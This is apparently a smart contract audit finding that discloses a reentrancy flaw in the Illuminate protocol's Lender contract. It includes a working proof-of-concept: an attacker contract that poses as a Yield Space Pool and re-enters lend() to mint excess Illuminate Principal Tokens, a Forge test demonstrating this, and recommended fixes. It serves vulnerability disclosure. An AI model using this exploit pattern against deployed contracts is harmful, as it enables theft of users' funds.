Holmgren

high

# Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender

## Summary

Any user can receive arbitrarily large amount of Illuminate tokens for a small deposit by exploiting reentrancy in Lender.

## Vulnerability Detail

Several of the `Lender.lend(...)` methods follow the following pattern:
1. Calculate Lender's current balance of the Principal Token
2. Call into a user-supplied address
3. Calculate the new Lender's balance of the Principal Token
4. Report difference between results from steps 3 and 1 as the amount of received Principal Tokens
5. Issue a corresponding amount of Illuminate Principal Token to msg.sender

If in the step 2. the user-supplied address calls recursively into `Lender.lend(...)` the amount of received Principal Tokens will be accounted for multiple times.

Most `Lender.lend(...)` methods are vulnerable. Possible exceptions are those for Notional, Pendle and Tempus.

## Impact

High - any user can manipulate Lender into minting and giving to the attacker arbitrary amount of Illuminate Principal Tokens.

## Code Snippet

Patch adding a proof-of-concept test:
```diff
diff --git a/test/fork/AttackersContract.sol b/test/fork/AttackersContract.sol
new file mode 100644
index 0000000..818dd5b
--- /dev/null
+++ b/test/fork/AttackersContract.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.16;
+
+import 'src/interfaces/IYield.sol';
+import 'src/interfaces/IERC20.sol';
+import 'src/interfaces/ILender.sol';
+import 'src/Lender.sol';
+
+contract AttackersContract {
+    address pool;
+    address underlying;
+    uint256 maturity;
+    address owner;
+    address ipt;
+    constructor (address _pool, address _underlying, uint256 _maturity, address _ipt) {
+        pool = _pool;
+        underlying = _underlying;
+        maturity = _maturity;
+        owner = msg.sender;
+        ipt = _ipt;
+    }
+    // Basic IYield interface that Lender.lend(...) expects
+    function fyToken() external returns (address) {
+        return IYield(pool).fyToken();
+    }
+    // Basic IYield interface that Lender.lend(...) expects
+    function sellBasePreview(uint128 a) view external returns (uint128) {
+        return IYield(pool).sellBasePreview(a);
+    }
+    // This is where the magic happens
+    function sellBase(address r, uint128) external returns (uint128 result) {
+        IERC20(underlying).approve(r, type(uint256).max);
+        uint256 myBalance = IERC20(underlying).balanceOf(address(this));
+        // Re-enter Lener.lend(...), this time with the correct Yield Space Pool
+        result = uint128(Lender(r).lend(uint8(2),
+                                        underlying,
+                                        maturity,
+                                        myBalance,
+                                        pool,
+                                        myBalance));
+        // Transfer the Illuminate tokens to the attacker
+        IERC20(ipt).transfer(owner, IERC20(ipt).balanceOf(address(this)));
+    }
+
+}
\ No newline at end of file
diff --git a/test/fork/Lender.t.sol b/test/fork/Lender.t.sol
index 999aa2c..775859a 100644
--- a/test/fork/Lender.t.sol
+++ b/test/fork/Lender.t.sol
@@ -3,6 +3,7 @@ pragma solidity ^0.8.16;
 
 import 'forge-std/Test.sol';
 import 'test/fork/Contracts.sol';
+import 'test/fork/AttackersContract.sol';
 import 'test/lib/Hash.sol';
 
 import 'src/Lender.sol';
@@ -91,34 +92,37 @@ contract LenderTest is Test {
         IERC20(u).approve(address(l), 2**256 - 1);
     }
 
-    function testYieldLend() public {
+    function testYieldLend_reentrancy_exploit() public {
         // Set up the market
         deployMarket(Contracts.USDC);
 
         // Runs cheats/approvals
         runCheatcodes(Contracts.USDC);
 
+        address ipt = mp.markets(Contracts.USDC, maturity, 0);
+        address poolContract = Contracts.YIELD_POOL_USDC;
+        // Attacker deploys a malicious contract that pretends to be a Yield Space Pool
+        // but actually it re-enters Lender.lend(...)
+        address attackersContract = address(new AttackersContract(poolContract,
+                                                                  Contracts.USDC,
+                                                                  maturity,
+                                                                  ipt));
         // Execute the lend
         l.lend(
             uint8(2),
             Contracts.USDC,
             maturity,
             amount,
-            Contracts.YIELD_POOL_USDC,
+            attackersContract,
             amount + 1
         );
 
-        // Get the amount that should be transferred (sellBasePreview)
-        uint256 returned = IYield(Contracts.YIELD_POOL_USDC).sellBasePreview(
-            Cast.u128(amount - amount / FEENOMINATOR)
-        );
-
-        // Make sure the principal tokens were transferred to the lender
-        assertEq(returned, IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l)));
-
-        // Make sure the user got the iPTs
-        address ipt = mp.markets(Contracts.USDC, maturity, 0);
-        assertEq(returned, IERC20(ipt).balanceOf(msg.sender));
+        uint256 lendersPrincipalTokens = IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l));
+        uint256 attackersIlluminateTokens = IERC20(ipt).balanceOf(msg.sender);
+        // The attacker got almost twice as much of iPT as he should have.
+        // Attacker could get much higher multiple if the AttackersContract used
+        // more levels of recursion
+        assertGt(attackersIlluminateTokens, lendersPrincipalTokens * 19/10);
     }
 
     function testTempusLend() public {
```

Example of the vulnerability:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928
```solidity
    /// @notice swaps underlying premium via a Yield Space Pool
    /// @dev this method is only used by the Yield, Illuminate and Swivel protocols
    /// @param u address of an underlying asset
    /// @param y Yield Space Pool for the principal token
    /// @param a amount of underlying tokens to lend
    /// @param r the receiving address for PTs
    /// @param p the principal token in the Yield Space Pool
    /// @param m the minimum amount to purchase
    /// @return uint256 the amount of tokens sent to the Yield Space Pool
    function yield(
        address u,
        address y,
        uint256 a,
        address r,
        address p,
        uint256 m
    ) internal returns (uint256) {
        // Get the starting balance (to verify receipt of tokens)
        uint256 starting = IERC20(p).balanceOf(r);

        // Get the amount of tokens received for swapping underlying
        uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));

        // Send the remaining amount to the Yield pool
        Safe.transfer(IERC20(u), y, a);

        // Lend out the remaining tokens in the Yield pool
        IYield(y).sellBase(r, returned);

        // Get the ending balance of principal tokens (must be at least starting + returned)
        uint256 received = IERC20(p).balanceOf(r) - starting;

        // Verify receipt of PTs from Yield Space Pool
        if (received <= m) {
            revert Exception(11, received, m, address(0), address(0));
        }

        return received;
    }
```
(`yield(...)` is called from a couple of `lend(...)` methods. `y` is a user-supplied address)

## Tool used

Manual Review

## Recommendation

* Make the entire Lender contract non-reentrant, for example by using https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard
* Consider using only pre-approved addresses of external pools, similarly to how Principal Tokens have to be pre-approved.